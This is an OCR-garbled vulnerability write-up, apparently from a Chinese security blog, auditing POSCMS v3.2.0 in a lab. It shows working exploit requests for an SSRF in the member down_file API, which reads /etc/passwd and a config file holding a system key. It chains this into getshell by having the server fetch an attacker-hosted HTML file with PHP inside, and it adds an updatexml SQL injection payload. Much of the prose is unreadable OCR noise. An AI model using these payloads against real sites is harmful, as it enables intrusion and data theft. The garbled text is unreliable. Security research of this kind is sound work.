POSCMS v3.2.0iF;AE M
(getshell+BISSOLEA)

AL, JTAZEEARMX

RO TEZ RERIMEMNEEFS ZBI TEHR POSCMSv3.2.0, &1
CMS ALEFRWFELFE, HMETSEXE 1 NEEEREE
P—T, ARBNSBMAE T, IRWEEE—T, FELTX,
P.S. IRI BRI,

2 <z
TRIfIE
AHRERRSZEEIE CentOS EHNLH, IRAEEWT:

0S: Cent0S7 amdo4 (I1P:10.10.10.129)
PHP: 5.5.38

MySQL: 5.5.60

WebServer: Apache2.4.6

BFRRAS: 2018.11.27 v3.2.0

<?php
return array(

'DR_NAME ' > 'POSCMS AR

»

'DR_UPDATE' =» '2018.11.27°",
'DR_VERSION' =» '3.2.0",
'DR_VERSION ID' => @,
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SIROXHRASZHF TR PHP AEET 7.1, RERFHRASAMINL R
RZASFRR -

yum list installed | grep php

yum remove php*.x86_64
#HONINFTHIRPME

rpm -Uvh https://mirror.webtatic.com/yum/el7/epel-releas
e.rpm

rpm -Uvh https://mirror.webtatic.com/yum/el7/webtatic-rel
ease.rpm

yum install php55w.x86_64 php55w-cli.x86_64 php55w-commo
n.x86_64 php55w-gd.x86_64 php55w-1dap.x86_64 php55w-mbstring.
x86_64 php55w-mcrypt.x86_64 php55w-mysql.x86_64 php55w-pdo.x8
6_64

[ E POSCMS-3.2.0.zip &Il Apache EiNBF, XBEHMIE
T /var/www/html/POSCMS , ERFEESKIEK URL AR E R FF
W8, FRLAMBIL T —F /etc/httpd/conf/httpd.conf

DocumentRoot “svar s html -POSCHS

#
# RBelax access to content within svar/uas.
#
{Directory "svar >
Allowlverride None
# Allow open access:
Require all granted
<sDirectory>

# Further relax access to the default document root:
{Directory "svar/washtml -POSCHMS'"™>

Possible values for the Options directive are "None", “All",
or any combination of :
Indexes Includes FollowSymLinks SymLinksifOwnerMatch ExecCGI MultiViews

Note that "MultiViews" must be named =explicitly=x -—- “Options All"
The Options directive is both complicated and important. Please see

http: - httpd.apache.orgrdocs/2.4-/mod-core.html#foptions
for more informatiom.

¥
#
#
#
#
#
#t doesn’t give it to you.
#
#
#
#
#
o

ptions Indexes FollowSymLinks

#

# Allowdverride controls what directives may be placed in .htaccess files.
# It can be "AIl", "None", or any combination of the keywords:

# Options FileInfo AuthConfig Limit

#

Allowlverride None

#
# Controls who can get stuff from this server.
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58] http://10.10.10.129/install.php IR IEHIT
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POSCMS TETH EEER

PHPFRERSEESRS ( PhpOpenSourceCMS , 3
FHFERES , ETPHP+MYSQL+CHESEF AR
PHP7 , FEEPHPTES! HE T8 , B
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EREIREFE NIRRT “cache BREESNR”, RHA

2 poscvs BR THIFFBEEEERRE root, BIIAXIEEN Apache ERIA
BN, 4H, TE /etc/httpd/conf/httpd.conf AR EIFHAE
BIA TS

53 # Example:

54 # LoadModule foo_module modulessmod_foo.so
55 #

56 Include conf .modules.dr=.conf

59 # If you wish httpd to run as a different user or group, you must run
68 # httpd as root initially and it will switch.

61 &

62 # User Group: The name (or #inumber) of the user-group to run httpd as.

63 # It is usuwally good practice to create a dedicated user and group for
64 # ruming httpd, as with most system services.

65 i

60 User

(https://xzfile.aliyuncs.com/media/upload/picture/2019041820
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1YV 7/ —c04dlLLO—V IUL—I.PDIY)

XEBHE ww BERARATNEF. AEIENH T HARIERF
newman, IZEEEN roscvs BENETNE—BE:

[newman®localhost POSCMSIS 11

total 32

“raruxre . 1 newman newman 224 Apr
drxrwaw<. 9 newman newman 119 Apr
drwxrwaws. 21 newman newman 4896 Apr
druaruwxrux. 3 newman newman 4896 Apr
druxruxruwx. ¢ newman newman 125 Apr
“raruxrex. 1 newman newman 1246 Apr

1:57 admin.php

TN )
e
= R |

1:57

1:57 index.php
Z:41 info.php
1:57 install.php
1:57

1:57

6:29

7:19 test.php
9:81

1:57 m 01 1 B .txt

-rw-rw-r--. 1 newman newman 21 Apr
“ruxrwrw. 1 newman newman 1231 Apr
druaruwxrux. 9 newman newman 183 Apr
druxrwxrwx. 4 newman newman 38 fApr
druxr-xr-x. £ newman newman 21 Apr
“rwr-xr-x 1 newman newman 392 Apr
druxrwaws. 6 newman newman 62 Apr
“rUKCWETW . 1 newman newman 254 Apr

418
418
48
1 8
40
418
4 8
418
10
10
5@
5@
10
18
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EEMEERRERT . ANMERUTENYAR CentOS Fikiha,
BARTUEEMUTRSIVRS, HFE—THN, EXREXENT
ARSS, AMEIERFEETAE) T

## FZiptables
sudo iptables -F
#t BESelinuxitEs
sudo sestatus
## @Bt FSelinux
sudo setenforce 0
## (BiEfirewal 1 RS
sudo service firewalld stop

R 1

FTAMBIRKE, E—TiREREL
T \diy\module\member\controllers\Api.php EF'EI"\] down_file() R
8, RTUWF:

SSRF ¢ GetShell
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[/ XHTEF LR
public function down_file() {

/********************************************************
%k %k

* Part@. JREXPOSTSEurlegRBFHENT

3k 3k 3k 3k 3k 3k sk 3k 3k sk 3k 3k Sk 3k 3k sk 3k 3k sk sk 3k sk sk 3k 3k sk 3k sk sk 3k 3k Sk 3k 3k sk 5k 3k sk sk 3k sk sk 5k sk sk 3k sk %k ok sk sk sk sk sk sk k k
***/

$p = arrayQ;

$url = explode('&', $this->input->post('url'));

foreach ($url as $t) {
$item = explode('=", $t);
$p[$item[0]] = $item[1];
}

/********************************************************
% %k %k
s
* Partl. ISUERAFIXER
3k 3k 3k 3k 3k >k sk 3k 3k sk 3k >k sk 3k %k sk 3k 3k >k sk 3k sk sk %k %k sk 5k %k 5k 5k %k sk 5k %k sk 5k %k %k 5k %k %k sk 5k %k %k 5k %k %k 5k %k sk 5k k %k %k k k

***/
1$this->uid && exit(dr_json(0, fc_lang('HEEREFLIEH
%'3));

// RREANR
$member_rule = $this->get_cache('member', 'setting', 'per
mission', $this->member['mark']);

// BEF L&
1$this->member['adminid'] && !$member_rule['is_upload'] &
& exit(dr_json(@, fc_lang('fEHESRBIANEEME)));

/7 MHERRNFIRT

if (1$this->member['adminid'] && $member_rule['attachsiz
e']D {

$data = $this->db->select_sum('filesize')->where('uid',
$this->uid)->get('attachment')->row_array();

$filesize = (int)$data['filesize'];

$filesize > $member_rule['attachsize'] * 1024 * 1024 && e
xit(dr_json(@, fc_lang('MHZ=EARE! EHNMHELSTEY%s, A%
s. ', $member_rule['attachsize'].'MB', dr_format_file_size($fi
lesize))));

ks



/********************************************************
* %k %k
ta 5 Fa A Vo Xy
* Part2. fEZcodeSHMEREST R. BEREER
3k 3k 3k sk 3k 3k sk 3k 3k sk 3k 3k sk 3k 3k sk sk 3k sk sk 3k sk sk 3k 3k sk ok 3k sk 3k %k sk 5k 3k sk sk 3k sk sk 3k sk sk 5k 3k sk 5k %k sk 5k %k sk ok ok %k %k k k

***/

list($size, $ext, $path) = explode('|', dr_authcode($p['c
ode'], 'DECODE'));

/3K 3K 3k 3k 3k ok sk ok ok ok ok ok ok ok ok ok ok ok ok sk sk ok ok ok sk ok ok ok ok ok ok ok sk sk s ok ok ok ok ok ok ok ok ok ok ok sk skok sk ok kR
* k%

* Part3. EMEFRERE

3k 3k 3k 3k 3k 3k 3k %k 3k %k ok >k %k 3k 3k %k >k %k 5k 3k %k ok %k 5k 5k %k %k >k %k 5k 5%k %k >k %k 5k 3k %k >k >k 3k 5k %k %k >k %k 5k % *k >k %k %k % * %k %k %k k

***/

$path = $path ? SYS_UPLOAD_PATH.'/'.$path.'/' : SYS_UPLOA
D_PATH.'/'.date('Ym', SYS_TIME).'/';

lis_dir($path) && dr_mkdirs($path);
$furl = $this->input->post('file');

/********************************************************
% %k %k
v g
* Partd. ihE)FHIRENE
3k 3k 3k sk 3k 3k sk 3k 3k sk 3k 3k sk 3k 3k sk sk 3k sk sk 3k sk sk 3k sk sk ok 3k sk 5k 3k sk ok 3k sk sk 3k sk sk 3k sk sk ok 3k sk 5k sk sk ok %k sk %k ok %k sk k k

***/

$file = dr_catcher_data($furl);
1$file 8& exit(dr_json(@, 'ZFKELRIZXMLI'));

/%3 3K 3k 3k 3k ok sk sk ok ok ok ok ok ok ok ok ok ok ok sk sk ok ok sk ok 3k ok ok ok ok ok sk sk s ok ok ok ok ok ok ok ok ok ok ok sk sk ok ok ok ok k
* %k k

* Part5. RIFV RBIIEHFEEE

3k 3k 3k %k 3k ok ok %k 3k %k ok >k %k 3k 3k ok >k %k 5k 3k 3k ok >k 5k 5k %k %k >k %k 5k %k %k >k %k 5k 3k %k >k %k 3k 5k %k %k >k %k 5k % *k >k %k %k % % %k k %k k

***/

$fileext = strtolower(trim(substr(strrchr($furl, '."), 1,
10))); //VRA

$exts = (array)explode(',', $ext);

lin_array($fileext, $exts) && exit(dr_json(@, 'TREXHETE
£ ('.$fileext.') FREF'));

$fileext == 'php' && exit(dr_json(0Q, 'ZREXHIRE ('.$fil
eext.') ARWF'D;

$filename = substr(md5Ctime()), 0, 7).rand(100, 999);
//XER

/oK ok ok o o kKoK ok ok ok o KK ok ok ok ok o KK ok ok ok ok o Kok ok ok ok ok Kok ok ok ok o Kok ok ok ok
* %k
P * N +
* Part6. MRS ANEEHERREINMALE
ek 3K ok 3k ok K oK 3k 3 K oK 3k 3 3K oK 3k 3 3 oK 3k 3 3 oK 3k 3 3 oK ok 3 3 oK oK 3k 3 oK ok 3k o oK oK 3k ok K ok 3k ok K oK 3k ok K ok ok ok K K

***/
if (@file_put_contents($path.$filename.’."'.$fileext, $fil
e)) {

$info = array(

"file_ext' = '.'.$fileext,
'full_path' => $path.$filename.’'.’'.$fileext,
'file_size' => filesize($path.$filename.’.'.$file
ext)/1024,
'client_name' => "',
D5

$this->load->model ("' attachment_model');
$this->attachment_model->siteid = $p['siteid’'] ? $p

Meaid+aiA'™ . CTTE TH.



L sLictu J§ . oLiL_iu,
$result = $this->attachment_model->upload($this->uid,
$info);
if (is_array($result)) {
1ist($id) = $result;
echo json_encode(array('status'=>1, 'id'=>$id,
ame' => dr_strcut($filename, 10).'.'.$fileext));exit;
} else {
@unlink($info['full_path']);
exit(dr_json(@, $result));

n

ks
} else {

exit(dr_json(@, 'Rk, BERFIAE ('.$path.') '));

pEX TN kil

XERABHNEEZEERETKRFSHE ﬁﬂiﬁdﬁFWE, HEER
FEREBRD, REMU json BNIREIRFLE

Part1 &t 251789, REEEAMEBECNAMER, TMTEERF
MAMS. BR EEINEE, Part2 1 dr_authcode() @— T INfE

%5@3%&, i F \diy\dayrui\helpers\function_helper.php , HE{RT
MR RARLD, ERRIEEZRF, REHIZH, HeEkEEM

EINEER.

EBRPO << tring, Soperation = 'DECODE', $key = '', $expiry = @) {

== 'DECODE’ ? substr($string, 0, $ckey length) : substr(mdS(microtime()), -$ckey lengtl

base64_decode(substr($string, $ckey length)) : sprintf('%016d’, $expiry ? $expiry + tii

d($( vptk y[$i % $key length]);
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Part3 FIAE T TEXHNER, XEF(NEKNSHHPAE

B code B, 1F spaTHaZ , NMIESROSRIARNNEF

E% SYS_UPLOAD_PATH.'/'.date('Ym', SYS_TIME).'/' , /iy (&
21T /uploadfile/&ERH/ .
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ACHMENT_URL'] : $config3['ST

(https://xzfile.aliyuncs.com/media/upload/picture/2019041820
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Part4 FfY dr_catcher_data() BRE(IERE SSRF JRARIER, HL
AT \diy\dayrui\helpers\function_helper.php , FLILIBHR/GIE
A2 fopen RNIERE curl RN, F&AREZHE XS R ENTRIM NS
fREl, tixBRIIERSE surl BIEE,

data($url) {

/1 =,
if (ini_get('allow_url_fopen')) {
$data = @file_get contents($url);
if ($data !== FALSE) {
return $data;

1
¥

// curliET

if (function_exists('curl init') && function_exists(

$ch = curl_init(%url);

$data = '°;

curl_setopt(%$ch, CURLOPT_HEADER, @);

curl setopt($ch, CURLOPT RETURNTRANSFER, 1);
$data = curl_exec($ch);

curl _close($ch);

return $data;

1
i)

return NULL;
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73HhE 9 TNER

4 =% function helper php diy\dayruivhelpers
function dr_x ‘down ﬁle{!&ld]{
# Cron_model.php diy\dayrui\models
$result = $this->_execute Eﬂdata['ualue']};
public function execule_{@g\y_q?!i_l:e:ﬁdata] {
= Apiphp diy .rnodule .n1r-.-r‘nber"-.c:ontr-:|IIErs

public function do

url = $type =="file' ? drﬂ_p_uiri;ﬁléﬂid] : dr_file($file);
15 dayruijs statics

index.php?s=member&c=api8&m=

<» show.html templ.:tej mobile\defa

< P»Eﬁiﬁg?mt {dr dDWI"-I file{$dangewenjian)} </p>
< show.html templ.:te; \p\defaulf\home\down

<a href="{dr dcwn _file($hle)y" >l F </a>

(https://xzfile.aliyuncs.com/media/upload/picture/2019041820
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AUMEHMAET —1 js X, TEME— XHR B POST &K
FfRBim, RE file SEAVEMFEHETAE /etc/passwd , SEIAT
e N :

Target: hitp:/110.10.10.128 2 @

[Raw [ Headers | Hex | Render | JSON Beautifer

Value

200 0K T
Fri, 05 Apr 2019 16:55:41 GMT
like Gecko) Apache/24.6 (CentOS) PHP/5.5 38
PHP/5.5.38

Thu, 19 Nov 1981 08:52:00 GMT

nn-stars nncache mustrevalidate nnst-chark=n nre-chack=0
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a=0.8

o -1 ogin=ad:
£814212a5b521d45bd53097 f6ada5fdb_c
er_online.

s ion=6mt i ot 67 t5svs0d jpu0o88,ug 18k fnas
+ime=1554482555; ment =3 member_cookie=7!

7600088 66e8eb4e0b7

. 05-Apr-2019 17:55:41 GMT; Max-_ J

("status™:1, *id": 12, “name": "022$70870. °] L

15
|
I

(https://xzfile.aliyuncs.com/media/upload/picture/2019041820
1132-1aafa0fc—61d3-1.png)

ARSI “SXHFEE + RO HER":

[ 10.10.10.129/upload! X u |
< G @ F===| 10.10.10.129/uploadfile/201904/0c2ef7b870
= [ ] [ | [ ]

root:x: 0:0: root: froot: /bin/bash

bin:x:1:1:bin: /bin febinfmologin

daemon: x: 2: 2: daemon: /sbin: /sbin/mologin
adm:x:3: 4 adm: Sear adm Sebin/mologin

lp:x: 4: 7: 1p: fvar/=pooly 1pd: fsbin/nologin

svne: % 0 0: syne: /shin: /bin' e

shutdown: x: 6: 0: shot down: S =bin: £ sbin/shotdoun

halt: x: 7: 0: halt: /shin: /shin/halt

mail: = 8 12:mail: fvarfspocl/mail: Ssbin/nologin
operator:x: 11:0: operator: froot: febin/mologin

games % 12: 100; games: Musr/games: /sbin/nologin

ftp:x:14: 50:FTP User: fvar/ftp: Ssbin/mologin

nobody: x: 99:99: Nobody: 7 /sbingnologin

systemd-network:x: 192: 192 systemd Network Management: /: fsbinfnologin
dbuz: x: 81: 81 System meszage bus:/ Fsbindmologin

polkitd: x:999:998: User for polkitd:/: /zbinfnologin

zghd: = T4: T4: Privilege—separated 55H: Avarfempty/zshd: fsbinfmologin
postfix: x:89: 89 fvar/spocl/postfix: fsbin/mologin

chr oy x: 998 996 : Svard 1ib/ chrony: /sbindmologin

nevman: x: 1000: 1000: newman: S home mevman: /bin/bash

myzal:x: 27 27:MarialB Server: fwar/libi/my=ql:/sbin/mologin
Darwin: x: 1001:1001: : fhome/Darwin: /bin/bash

apache: x: 48 48: fpache: fusr/ share/httpd: febin/molozin

(https://xzfile.aliyuncs.com/media/upload/picture/2019041820
1151-2641350c-61d3-1.png)

GetShell

BIEK—F /config/system.php , ZXHFHREFEHEBRTHIE.

Go | <lvj|2I7] Target:
Raw | Params | Headers | Hex | [ Raw | Headers | Hex | Render [ JsON Beautfer
POST /index. php?s=member&c=api&m=down_file&iajax=1 HTTP/1.1 A {
Host: 10.10.10.129 “status”: 0,
Gontent-Length: 24 “code’: "TATLHIRAE (php) FRIF
Accept: */* "id": 0

Origin: http://10.10.10.129 1
User-Agent: Mozilla/5.0 (Windows NT 10.0: Win64: x64) ApplelebKit/537.36 (KHTWL. like Gecko)
Ghrome/73.0. 3683. 103 Safari/537.36
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Gontent-Type: application/x—www—form-ur lencoded: charset=UTF-8
Referer: http://10.10.10.129/index. php?s=memberfc=accountin=avatar
Accept-Enceding: gzip, deflate
Acc ptL nguage: zh-ON, zh:q=0.9,
Gookie: finecms-admin-login=admin
FB1A712 5652145653097 bade Sfdb_ on=bmt i ot 6Tt55vs0d jpuloB8 jug1Bk Fnas
me nline_time=1554482555: menber_uid=3: member_cookie=760f0bBB66eBeTbAclbT
login_score_ =

Gommestron: olose

en;g=0.8

file=. /config/system. php

(https://xzfile.aliyuncs.com/media/upload/picture/2019041820

1204-2dce3428-61d3-1.png)

X2RER Parts 89 $ext *Ei,m

0 .php?. E}Z .php#.

B

tﬁ"él‘ Wi T . php

HiX—m, Lt

Gontent-Length: 52
Accept: */*

in: http://10.10.10.129
User-Agent: Mozilla/5.0 (Windows NT 10.0: Winé4

Gonte tTyD o coded; charset=UTF-8
Referer: http://10.10.10.129/ hder Dhu’s Crenbertosacoountinavatar
Accept-Encoding: gzip defiace
Accept-Language: zh-ON, zh;q=0.9,
Gookie: finecms-admin-|ogin=admin
814212a5b521d45bd53097F6ada5fb_ci_session=6mt iot6Ft5svs0d jpuloBs jugl Bkfnas:
member_online_time=1554482555; member_uid=3; member_cook ie=760f0b8B66eBeTbdelbT
login_score_3=1

Gonnection: close

en;q=0.8

file=file:///var/wan/htm| /POSCNS/config/system. php#

%64} AppleWebKit/537.36 (KHTML. like Gecko)

Request Response

Raw | Params | Headers | Hex Raw | Headers | Hex | Render JSONBsautlﬁva
POST /index. php?s=member&c=api&m=down_ile&iajax=1 HITP/1.1 B
Host: 10.10.10.129 r “status”: 1,

id*: 13
name”: “[f51addc583.

(https://xzfile.aliyuncs.com/media/upload/picture/2019041820

1220-370315ea—-61d3-1.png)

R

[ 10.10.10.129/uploadfile/20190 X
€ > C OF==
PR m [ | H .

<Iphp

A HIRERBIRINA UTF-8:

10.10.10.128/uploadfile/201904/751addc583.

if (! defined (" BASEPATH }) exit("MNo direct zcript access allowed’) ;

Sk
¥ 3.2
#

S
* REEENY

#

return arrayl

* SYS_LOG =0 /EeREEEFE
~1375 KEYT => ’poscms2elflc2675dd3e2f4d9TaTdb]l 83126627 , /fﬁ_%_@jﬂ./
" 575 _DERIG = 0, /FH s A
575 HITRS =» 0, //HITPSZ 2
" 5TS_HELP_UEL =» 77, S RS AT A
* SYS_EMATL =3 "admind@qq. con’, S/ FRGMFEIE . ATERREER
" 575 REFERER =7, SIREETTS

(https://xzfile.aliyuncs.com/media/upload/picture/2019041820
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SREILEHAE, PIAEIES % payload SOV RBME, X
E, /E"\ H— —FJJZIS GetShell E/]/t_.\

QX

1. ¥91&45%k payload {&. html S RIFH L&

2. HECEEIMNRESR EME. html X (BEEEEEABHN
php X43)

3. FIFY SSRF iFiE, {#ARSS23A http kel wIMNE
(OOB) , FXEXZIEEM. html, T2 Getshell

NTHET RBNE, BRMBREIE IS —XEHENTRH

ENIEE 1intml, 10 , IBTEREE

9 22d7Qrdws88/R/UETPWLVY/PFNTYzvs/QNj5PBa66veNDLECapM , FE#iiE

POST £

0 file=http://10.10.10.1/haha.html&url=code=22d7Qrdws88/R/uUETpWlvY/PFNTYzvs/QNj5PBa66ve
XER haha.html BEET php £

f9 <?php echo phpinfo();?> , REWRUANT:

Request Response

Raw | Hoaders | Hox | Render | JSON Boautifer |
POST /index. php?s=member&c=api&m=down_file&iajax=1 HTTP/1.1 {

Host 10 10.10.129 r status”: 1,
Gontent-Langth: 93 id: 18,
cce ame”: "be5b553641. htm| "

htt //10.10.10. 129 1
e nt: Mozilla/5.0 (Nindows NT 10.0: Wint4: x64) AppleWebKit/537.36 (KHTML. Iike Gecko)
ome/73. 0. 3683. 103 Safari/537. 36

sDDlwcs‘.wcn’ orm-ul

coded; cha tUTFE
ember &c: vatar

falaz\ZssbszmAsbuszowm4srub _session=6mt iot6ft55vs0d jpu0oBs jug 18k
member_online_time=1554482555 memberJJld:J member_cookie=760f0b8866e8e b4 0b7

_S 3=
Gonnection: close

fileshttp://10.10. 10. 1/haha. html&ur |=code=22d70r dwsB8/R/UETpH 1 vY/PFNTYzvs/ON j5PBabbveND | ECaph

(https://xzfile.aliyuncs.com/media/upload/picture/2019041820
1252-4a59b388-61d3-1.png)

a X
O phpin x B _E EE ‘W " m - a N - " a
< C @ F=2| 10.10.10.129/uploadfile/201904/bc5b553641.himi A © 99T O = ¢ M
HoE o L L] L = L} LI B am L L] L} - L}

PHP Version 5.5.38

Php,

system Linux localhost localdomain 3.10.0-862.¢17.x86_64 #1 SMP Fri Apr 20 16:44:24 UTC
2018 xB6_64

Build Date  [Jul 21 2016 12:26:35
Server APl |Apache 2.0 Handler
Virtual disabled

Configuration | /et

Loaded retc/php.ini
ion



https://xzfile.aliyuncs.com/media/upload/picture/20190418201252-4a59b388-61d3-1.png
https://xzfile.aliyuncs.com/media/upload/picture/20190418201318-5a23b6f6-61d3-1.png

(https://xzfile.aliyuncs.com/media/upload/picture/2019041820
1318-5223b6f6-61d3-1.png)

MRXEBEMRMT, BAMEETHR: —. MBRHBEIHH
M, IREZEFHEM; —. CentOS BRINZEM Apache ToiEfR
TEE php B html X, TE

1 /etc/httpd/conf.d/php.conf RHRINROT:

#
#t Cause the PHP interpreter to handle files with a .php extension.
#

fiddHand ler phpS-script .php .himl

fAddType textshtml .php .html

fidd index.php to the list of files that will be served as directory
indexes.

1
2
3
4
5
6
7
8
3
2]

E= I~

1

11 DirectoryIndex index.php

12

13 &

14 # Uncomment the following line to allow PHP to pretty-print .phps
15 # files as PHP source code:

16 #

17 t#nddType application x-httpd-php-source .phps

18

(https://xzfile.aliyuncs.com/media/upload/picture/2019041820
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imiE 2—RIE SQL X5

&fE—1 SQL XA, AT HERELINANIE, AT TE
THABEENHERABRK, BETUNMER:
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BEER ( \div\davrui\models\Attachment model.oho ) BIDUEIIF
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(int)substr((string)$uid, -1, 1))."” AS b’

rel] leext™ ="".$e.""";

* AND (.implode(® OR *, $uhere).')';

id."_*.$table)." %"

 array($total, §this-> get format data($data));

(https://xzfile.aliyuncs.com/media/upload/picture/2019041820
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ZEREBAVERRALT
(

\diy\module\member\controllers\Account.php )

e', SITE_ID);

$mod = "module-'.SITE_ID.'-'.3dir);
>_module_post_catid($mod, $this->markrule) & $module[$dir] = $mod[ name'l;

attachment_model->limit($this->uid, $page, $t pagesize, $ext, $table);

(https://xzfile.aliyuncs.com/media/upload/picture/2019041820
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N RVIHREL PR R 8 AP ib—> EXEE— WHEENER
IhgE, BEEERETXIBREREIZFIER:
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GET /index.php?s=member&c=account&m=attachment&module=photo&e
xt= HTTP/1.1
Host: 10.10.10.129

@ module ZEHUEN Payload RAHIN TIREE:

Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex | HTML | Render
Jindex =

Slgext= HTTP/1. 1T [k

rorin your SQL syntax; check the manual that corresponds to your
version for the right syntax to use near %" at line 1

SELECT count(") as total FROM “dr_atiachment® AS *a,'dr_attachment_3' AS "b*
WHERE (aid “id” AND "a’siteid’=1 AND "a’"uid'=3) AND "b" "related” LIKE

- _score_1=1
v5udai an02c 382ne01 g1kF "dr_1_photo” and 1=1-%
—_cooki e=76070b8806eBebA=0bT
Filename :_model php
Line Number: 40

(https://xzfile.aliyuncs.com/media/upload/picture/2019041820
1430-84a24244-61d3-1.png)

BARIENTAEEERN Payload XREEWMAM T, FIELEE
SREIEN, BT ZEHMN Payload

— " or updatexml(l,concat(1l,0x7e,user()),1);# ?#};%)\%éﬁq:,
B2 T HIEESRIAR

GET /index.php?s=member&c=account&m=attachment&module=photo%2
2%200r%20updatexml (1, concat(l,0x7e,user()),1);%23&ext= HTTP/
1.1

Host: 10.10.10.129

Request Response

Raw | Params | Headers | Hex Raw | Headers | Hex | HTML | Render
]
x m= modu | e=photo%22%200r 420up (1.conca [
3gext= HTTP/1. 1
cquests: 1
0 (indows NT 10.0: Winéd: xé4) ApplelebKit/537.36 (KHTML Error Number: 1105
683. 103 Safari/537.36

XPATH syntax error: tester@localhost
|, application/xml:q=0. 9, image/webp, image/apng, */*:9=0. e ——
Vb SELECT count(") as total FROM "dr_attachment’ AS "a’,‘dr_attachment_3' AS ‘b’
WHERE ('@ 'id="b""id" AND "a’siteid=1 AND "a"_"uid"=3) AND " related" LIKE
o exper ience 1=1: login score 1=1 ‘dr_1_photo” or updatexmi(1 concat(1,0x7e user()) 1)#-%
£ lqi an02¢ j382me0 | g1kf
mber_uid=3: member_cook ie=760f0b8866¢BeTbdc0b7

Filename: Tdiyf _model php

Line Number: 40
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F—XEM php NHERE, WEERNZENSG, EHUNER
IE. MEEHNETIFFFE—E php BS, FREER LRIFES
(FEETE)
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BENE

1. https://www.jianshu.com/p/7cabf9ef2aad ()
2. http://www.webbaozi.com/dmsj/111.html ()

3. http://blog.sina.com.cn/s/blog_3edc5e2e0102w20h.ht
ml ()

4. https://www.cnblogs.com/wocalieshenmegui/p/591796
7.html ()

5. https://www.cnblogs.com/rickzhai/p/7896297.html ()

6. https://blog.csdn.net/xin_y/article/details/79007986 ()
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